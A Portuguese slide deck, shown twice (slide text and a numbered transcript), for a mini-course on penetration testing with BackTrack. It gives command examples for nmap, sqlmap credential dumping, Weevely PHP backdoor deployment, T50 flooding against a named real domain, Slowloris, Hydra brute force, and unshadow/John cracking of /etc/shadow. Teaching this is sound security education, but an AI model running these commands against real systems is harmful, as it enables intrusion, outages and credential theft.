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Mini Curso:
Pen test com Backtrack
Evandro Villa Verde
Objetivo:

 Fornecer    ao aluno uma visão geral sobre testes de
    invasão

   Entender a anatomia e os tipos diferentes de
    ataques

 Conhecer    as fases de um teste de invasão

 Conhecer    as metodologias e os apectos legais
Visão:

O  Teste de Invasão é um processo de
análise detalhada do nível de
segurança de um sistema ou rede
usando a perspectiva de um infrator.

 O objetivo principal é simular de forma
controlada um ataque real que
normalmente é executado por criminosos.
Fases:

 Os procedimentos realizados por um profissional
de teste de intrusão é similar aos realizados
pelos crackers, diferindo na intenção do ataque.

1.   Levantamento de informações (nome,telefone,endereço)
2.   Varredura (s.o,rede,serviços,firewall)
3.   Ganhar acesso (brute force,trafego,web,vulnerabilidade)
4.   Manter acesso (backdoor e rootkits)
5.   Apagar rastro
Backtrack:

 Backtrack      é um sistema operacional linux baseado
    no Ubuntu.

    É focado em testes de seguranças e testes de
    penetração (pen tests), muito apreciada por hackers
    e analistas de segurança, podendo ser iniciado
    diretamente pelo CD (sem necessidade de instalar
    em disco), mídia removível (pendrive), máquinas
    virtuais ou direto no disco rígido.

Fonte: http://pt.wikipedia.org/wiki/BackTrack
Backtrack:
 Eleé a fusão de duas distribuições que eram bem
  conhecidas na época:
          - Whax e Auditor Security Collection

 Eleito
       em 2006 como a Distribuição Live de
  Segurança número 1º em sua categoria

O  BT possui mais de 300 ferramentas, que vão
  desde teste de intrusão até Analise Forense Digital.

 Versão   atual é BackTrack 5 R3 Released! Aug 13,
  2012
Problema:
 BackTrack   e os Drivers para Wifi e vídeo.

 Ubuntu   desatualizado
Nmap:

   Nmap é um software livre que realiza port scan desenvolvido
    pelo Gordon Lyon, autoproclamado hacker "Fyodor.
   Realiza varredura de rede, buscando hosts ativos, portas
    abertas e serviços sendo executados.
Nmap:
   -sP
   Ping scan: Algumas vezes é necessário saber se um
    determinado host ou rede estáno ar.
   Nmap pode enviar pacotes ICMP “echo request” para
    verificar sedeterminado host ou
   rede está ativa. Hoje em dia, existem muitos filtros
    querejeitam os pacotes ICMP “echo
   request”, então envia um pacote TCP ACK paraa porta 80
    (default) e caso receba RST o
   alvo está ativo. A terceira técnica enviaum pacote SYN e
    espera um RST ou SYN-ACK.
   Nmap –sP 192.168.1.254
   Nmap –sP 192.168.1.0/24
Nmap:

   TCP SYN scan: Técnica também conhecida como “half-open”,
    pois não abre uma conexão TCP completa. É enviado um
    pacote SYN, como se ele fosse uma conexão real e aguarda
    uma resposta. Caso um pacote SYN-ACK seja recebido,
    aporta está aberta, enquanto um como resposta indica que a
    porta está fechada.
   A vantagem dessa abordagem é que poucos irão detectar
    esse scanning de portas.

   Nmap –sS 192.168.1.254
   Nmap –sS 192.168.1.0/24
Nmap:

 -sT
 TCP connect() scan: É a técnica mais básica de
 TCP scanning. É utilizada a chamada de sistema
 (system call) “connect()” que envia um sinal as
 portas ativas. Caso a porta esteja aberta recebe
 como resposta “connect()”. É um dos scan mais
 rápidos, porém fácil de ser detectado

 Nmap –sT 192.168.1.254
 Nmap –sT 192.168.1.0/24
Nmap:

 -sU
 UDP  scan: Este método é utilizado para determinar
  qual porta UDP está aberta em um host. A técnica
  consiste em enviar um pacote UDP de 0 byte para
  cada portado host.
 Se for recebido uma mensagem ICMP “port
  unreachable” então a porta está fechada, senão a
  porta pode estar aberta. Para variar um pouco, a
  Microsoft ignorou a sugestão da RFC e com isso a
  varredura de máquinas Windows é muito rápida.

 Nmap   –sU 192.168.1.254
Nmap:

 -O
 Ativa a identificação do host remoto via TCP/IP. Irá
  apresentar versão do Sistema
 Operacional e tempo ativo.
 Ex.: nmap -O alvo


 -v
 Modo  verbose. Mostra tudo o que está se
  passando.
 Ex.: nmap -v alvo
Nmap:
 -F
 Procura pelas portas que estão no /etc/services.
  Método mais rápido, porém não procurar por todas
  as portas.
 Ex.: nmap -F alvo


 -P0
 Não  tenta pingar o host antes de iniciar a
  varredura. Isto permite varrer alvos que bloqueiam
  ICMP “echo request (ou responses)” através de
  firewall.
 Ex.: nmap -P0 alvo
Xprobe2:
 Xprobe2  analisa banners de sistemas
 operacionais, comparando com um banco de
 dados interno, onde compara-os e informa o S.O.
 utilizado e a versão do mesmo.

 Exemplo:


 xprobe2 [host-name]
 xprobe2 <ip>
Nikto :
    Nikto é um script Perl usado para testar a
    segurança de seu servidor web. Ele
    faz a varredura em servidores Apache tanto em
    busca de vulnerabilidades, quanto de falhas de
    configuração.

 Para   atualizar e executar o Nikto, utilizamos os
    seguintes comandos:

#  ./nikto.pl -update
 # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
SQL Map:




Local: /pentest/database/sqlmap
String: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]
SQL Map :


 “Sqlmap  é uma ferramenta open source para
 penetration test que automatiza o processo de
 detecção e exploiting de vulnerabilidades a Sqli
 Injection, é escrita em python e tem suporte tanto
 GNU linux ou windows.”

O sqlmap além de oferecer as funções para
 detectar e explorar as vulnerabilidades a SQLI, ele
 consegue também tentar “dominar” o sistema de
 banco de dados se for possivel.
SQL Map :

   --help
   Mostra as opções do SQLMAP
   --current-db
   Apresenta o banco de dados atual Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1"
    --current-db
   --banner
   Pega o Banner do DBMS
   Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1" -b
   --dbs
   Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
SQL Map :
   --tables
   Apresenta as tabelas do banco selecionado Exemplo:
    ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1"
   -D acuart --tables
   --columns
   Apresenta as colunas da tabela selecionada
   Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1"
   -D acuart -T users --columns
   --dump
   Extrai as informações da colunas selecionadas Exemplo:
    ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1"
   -D acuart -T users -C 'uname,pass' --dump
SQL Map :
   --current-user
   Apresenta o usuário ao qual a página está usando para se
    conectar ao banco Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-
    user
   --is-dba
   Verifica se o usuário atual é administrador do Banco
   Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba
   --users
   Enumera todos os usuários
   Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1" --users
   --search
   Varre o banco atrás do que você procura, pode ser um banco,
    tabela ou coluna
   Exemplo: ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1" --search –
    C „pass‟
SQL Map :

   --user-agent
   Altera o nome do user Agent durante o ataque Exemplo:
    ./sqlmap.py --url
    "http://testphp.vulnweb.com/listproducts.php?cat=1"
   --user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1;
    +http://www.google.com/bot.html)”
   --level=1-5
   Seta o nível de performance que ele irá utilizar para efetuar a
    varredura
   --risk=1-3
   Seta o nível de risco de performance que o sqlmap efetuará
    para a varredura
Weevely:




Local: /pentest/backdoors/web/weevely

String: ./weevely <url> <password> <command>
Weevely:

 Weevely  é um backdoor PHP discreto que simula
 uma conexão telnet. É uma ferramenta essencial
 para ser injetada após a exploração de uma
 vulnerabilidade de uma aplicação web. Com uma
 permissão básica para fazer upload de arquivos
 PHP, você só precisa gerar e fazer o upload do
 código do "servidor" PHP no alvo, e executado
 localmente o Weevely transmiti comandos de shell.
Weevely:

 Uso:
 Gerando  o Backdoor:
 ./weevely generate teste/tmp/back.php
 # Cria um backdoor com a senha eSecurity na
  pasta /tmp

 ./weevelyhttp://www.sitevul.com/back.php teste
 # Acessa a shell utilizando a senha teste
DoS:

  T50 ferramenta de desenvolvida por um brasileiro,
  Nelson Brito, capaz de fazer ataques DoS e DDoS
  usando o conceito de stress testing:

# ./t50 www.ofm.com.br --flood --turbo --dport
  80 -S --protocol ICMP
 ./t50 192.168.1.105 --flood --turbo --dport 80 -S –
  protocol
 --flood
 --turbo (Aumenta a performance)
 -S (envia a flag SYN)
DoS:

 Slowloris: Atacandos velhos apaches

#  wget http://ha.ckers.org/slowloris/slowloris.pl
 # chmod 777 slowloris.pl


 Ele
    funciona enviando, atraves de um
 processo multi-thread, varias requisições
 parciais ao servidor Web alvo
Hydra:




     THC-Hydra (Last update 2012-05-23)

String: hydra –L <login> -P <passwd> <ip> <serv>
Hydra:

#      hydra –l root -p toor –t 12 127.0.0.1 ssh

 Ele  irá efetuar um bruteforce com usuário root
    com a senha toor com 12 threads no
    loopback na porta SSH

#  hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh
 Ele irá efetuar um bruteforce com usuário root
  com a senha buscando na wordlist.txt com

hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha
    incorretos"
Passwd:

O arquivo /etc/passwd contém informações sobre todos os
usuários, inclusive as suas senhas criptografadas. Ele é
legível por todos os usuários e, por isso, estas senhas podem
ser facilmente crackeadas. Para combater esta
vulnerabilidade foi desenvolvido o sistema de sombreamento
de senhas, os shadows passwords.

Quando o sistema de sombreamento de senhas está
disponível, o campo password do arquivo /etc/passwd é
substituído por um "x" e o password do usuário é
armazenado no arquivo /etc/shadow. Por esta razão o
/etc/shadow é legível somente pelo usuário root. Desta
maneira o arquivo /etc/shadow dificulta a ação de crackers.
John :




Local: /pentest/passwords/john

String: ./john arquivo.db
John :
 John the Ripper é um software para quebra de
 senhas. Inicialmente desenvolvido para sistemas
 unix-like, corre agora em vários sistemas
 operativos (como DOS, Windows, Linux, BSD).
 Disponível em versão livre e paga, o John the
 Ripper é capaz fazer força bruta em senhas
 cifradas em DES, MD4 e MD5 entre outras

 Dicionário   (Wordlist): sendo o modo mais
 simples.

 Quebra  Simples (Single Crack): mais indicado
 para início de uma quebra e mais rápido que
 o wordlist
John :


 Ferramenta:   Unshadow

 Utilizadapara unir os arquivos passwd e shadow
  para posteriormente ser quebrada pelo John the
  Ripper

 Exemplo:    ./unshadow /etc/passwd /etc/shadow >>
  hash.db

 Agora   quebramos usando: ./john hash.db
John :


 ./johnsenhas.txt # O modo mais simples de se
  usar o John é especificar o arquivo que tem as
  senhas e usuário e deixar ele fazer tudo

 automaticamente.   Ele irá começar com o modo
  single crack, depois irá passar para o modo
  wordlist e finalmente irá passar para o modo
  incremental.

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Mini Curso - Pen Test - Univem

  • 1. Mini Curso: Pen test com Backtrack Evandro Villa Verde
  • 2. Objetivo:  Fornecer ao aluno uma visão geral sobre testes de invasão  Entender a anatomia e os tipos diferentes de ataques  Conhecer as fases de um teste de invasão  Conhecer as metodologias e os apectos legais
  • 3. Visão: O Teste de Invasão é um processo de análise detalhada do nível de segurança de um sistema ou rede usando a perspectiva de um infrator.  O objetivo principal é simular de forma controlada um ataque real que normalmente é executado por criminosos.
  • 4. Fases:  Os procedimentos realizados por um profissional de teste de intrusão é similar aos realizados pelos crackers, diferindo na intenção do ataque. 1. Levantamento de informações (nome,telefone,endereço) 2. Varredura (s.o,rede,serviços,firewall) 3. Ganhar acesso (brute force,trafego,web,vulnerabilidade) 4. Manter acesso (backdoor e rootkits) 5. Apagar rastro
  • 5. Backtrack:  Backtrack é um sistema operacional linux baseado no Ubuntu.  É focado em testes de seguranças e testes de penetração (pen tests), muito apreciada por hackers e analistas de segurança, podendo ser iniciado diretamente pelo CD (sem necessidade de instalar em disco), mídia removível (pendrive), máquinas virtuais ou direto no disco rígido. Fonte: http://pt.wikipedia.org/wiki/BackTrack
  • 6. Backtrack:  Eleé a fusão de duas distribuições que eram bem conhecidas na época: - Whax e Auditor Security Collection  Eleito em 2006 como a Distribuição Live de Segurança número 1º em sua categoria O BT possui mais de 300 ferramentas, que vão desde teste de intrusão até Analise Forense Digital.  Versão atual é BackTrack 5 R3 Released! Aug 13, 2012
  • 7. Problema:  BackTrack e os Drivers para Wifi e vídeo.  Ubuntu desatualizado
  • 8. Nmap:  Nmap é um software livre que realiza port scan desenvolvido pelo Gordon Lyon, autoproclamado hacker "Fyodor.  Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços sendo executados.
  • 9. Nmap:  -sP  Ping scan: Algumas vezes é necessário saber se um determinado host ou rede estáno ar.  Nmap pode enviar pacotes ICMP “echo request” para verificar sedeterminado host ou  rede está ativa. Hoje em dia, existem muitos filtros querejeitam os pacotes ICMP “echo  request”, então envia um pacote TCP ACK paraa porta 80 (default) e caso receba RST o  alvo está ativo. A terceira técnica enviaum pacote SYN e espera um RST ou SYN-ACK.  Nmap –sP 192.168.1.254  Nmap –sP 192.168.1.0/24
  • 10. Nmap:  TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, aporta está aberta, enquanto um como resposta indica que a porta está fechada.  A vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.  Nmap –sS 192.168.1.254  Nmap –sS 192.168.1.0/24
  • 11. Nmap:  -sT  TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a chamada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém fácil de ser detectado  Nmap –sT 192.168.1.254  Nmap –sT 192.168.1.0/24
  • 12. Nmap:  -sU  UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada portado host.  Se for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.  Nmap –sU 192.168.1.254
  • 13. Nmap:  -O  Ativa a identificação do host remoto via TCP/IP. Irá apresentar versão do Sistema  Operacional e tempo ativo.  Ex.: nmap -O alvo  -v  Modo verbose. Mostra tudo o que está se passando.  Ex.: nmap -v alvo
  • 14. Nmap:  -F  Procura pelas portas que estão no /etc/services. Método mais rápido, porém não procurar por todas as portas.  Ex.: nmap -F alvo  -P0  Não tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que bloqueiam ICMP “echo request (ou responses)” através de firewall.  Ex.: nmap -P0 alvo
  • 15. Xprobe2:  Xprobe2 analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a versão do mesmo.  Exemplo:  xprobe2 [host-name]  xprobe2 <ip>
  • 16. Nikto : Nikto é um script Perl usado para testar a segurança de seu servidor web. Ele faz a varredura em servidores Apache tanto em busca de vulnerabilidades, quanto de falhas de configuração.  Para atualizar e executar o Nikto, utilizamos os seguintes comandos:  # ./nikto.pl -update  # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
  • 17. SQL Map: Local: /pentest/database/sqlmap String: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]
  • 18. SQL Map :  “Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.” O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.
  • 19. SQL Map :  --help  Mostra as opções do SQLMAP  --current-db  Apresenta o banco de dados atual Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db  --banner  Pega o Banner do DBMS  Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b  --dbs  Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
  • 20. SQL Map :  --tables  Apresenta as tabelas do banco selecionado Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"  -D acuart --tables  --columns  Apresenta as colunas da tabela selecionada  Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"  -D acuart -T users --columns  --dump  Extrai as informações da colunas selecionadas Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"  -D acuart -T users -C 'uname,pass' --dump
  • 21. SQL Map :  --current-user  Apresenta o usuário ao qual a página está usando para se conectar ao banco Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current- user  --is-dba  Verifica se o usuário atual é administrador do Banco  Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba  --users  Enumera todos os usuários  Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --users  --search  Varre o banco atrás do que você procura, pode ser um banco, tabela ou coluna  Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --search – C „pass‟
  • 22. SQL Map :  --user-agent  Altera o nome do user Agent durante o ataque Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"  --user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”  --level=1-5  Seta o nível de performance que ele irá utilizar para efetuar a varredura  --risk=1-3  Seta o nível de risco de performance que o sqlmap efetuará para a varredura
  • 24. Weevely:  Weevely é um backdoor PHP discreto que simula uma conexão telnet. É uma ferramenta essencial para ser injetada após a exploração de uma vulnerabilidade de uma aplicação web. Com uma permissão básica para fazer upload de arquivos PHP, você só precisa gerar e fazer o upload do código do "servidor" PHP no alvo, e executado localmente o Weevely transmiti comandos de shell.
  • 25. Weevely:  Uso:  Gerando o Backdoor:  ./weevely generate teste/tmp/back.php  # Cria um backdoor com a senha eSecurity na pasta /tmp  ./weevelyhttp://www.sitevul.com/back.php teste  # Acessa a shell utilizando a senha teste
  • 26. DoS: T50 ferramenta de desenvolvida por um brasileiro, Nelson Brito, capaz de fazer ataques DoS e DDoS usando o conceito de stress testing: # ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --protocol ICMP  ./t50 192.168.1.105 --flood --turbo --dport 80 -S – protocol  --flood  --turbo (Aumenta a performance)  -S (envia a flag SYN)
  • 27. DoS: Slowloris: Atacandos velhos apaches # wget http://ha.ckers.org/slowloris/slowloris.pl  # chmod 777 slowloris.pl  Ele funciona enviando, atraves de um processo multi-thread, varias requisições parciais ao servidor Web alvo
  • 28. Hydra: THC-Hydra (Last update 2012-05-23) String: hydra –L <login> -P <passwd> <ip> <serv>
  • 29. Hydra: # hydra –l root -p toor –t 12 127.0.0.1 ssh  Ele irá efetuar um bruteforce com usuário root com a senha toor com 12 threads no loopback na porta SSH # hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh  Ele irá efetuar um bruteforce com usuário root com a senha buscando na wordlist.txt com hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha incorretos"
  • 30. Passwd: O arquivo /etc/passwd contém informações sobre todos os usuários, inclusive as suas senhas criptografadas. Ele é legível por todos os usuários e, por isso, estas senhas podem ser facilmente crackeadas. Para combater esta vulnerabilidade foi desenvolvido o sistema de sombreamento de senhas, os shadows passwords. Quando o sistema de sombreamento de senhas está disponível, o campo password do arquivo /etc/passwd é substituído por um "x" e o password do usuário é armazenado no arquivo /etc/shadow. Por esta razão o /etc/shadow é legível somente pelo usuário root. Desta maneira o arquivo /etc/shadow dificulta a ação de crackers.
  • 32. John :  John the Ripper é um software para quebra de senhas. Inicialmente desenvolvido para sistemas unix-like, corre agora em vários sistemas operativos (como DOS, Windows, Linux, BSD). Disponível em versão livre e paga, o John the Ripper é capaz fazer força bruta em senhas cifradas em DES, MD4 e MD5 entre outras  Dicionário (Wordlist): sendo o modo mais simples.  Quebra Simples (Single Crack): mais indicado para início de uma quebra e mais rápido que o wordlist
  • 33. John :  Ferramenta: Unshadow  Utilizadapara unir os arquivos passwd e shadow para posteriormente ser quebrada pelo John the Ripper  Exemplo: ./unshadow /etc/passwd /etc/shadow >> hash.db  Agora quebramos usando: ./john hash.db
  • 34. John :  ./johnsenhas.txt # O modo mais simples de se usar o John é especificar o arquivo que tem as senhas e usuário e deixar ele fazer tudo  automaticamente. Ele irá começar com o modo single crack, depois irá passar para o modo wordlist e finalmente irá passar para o modo incremental.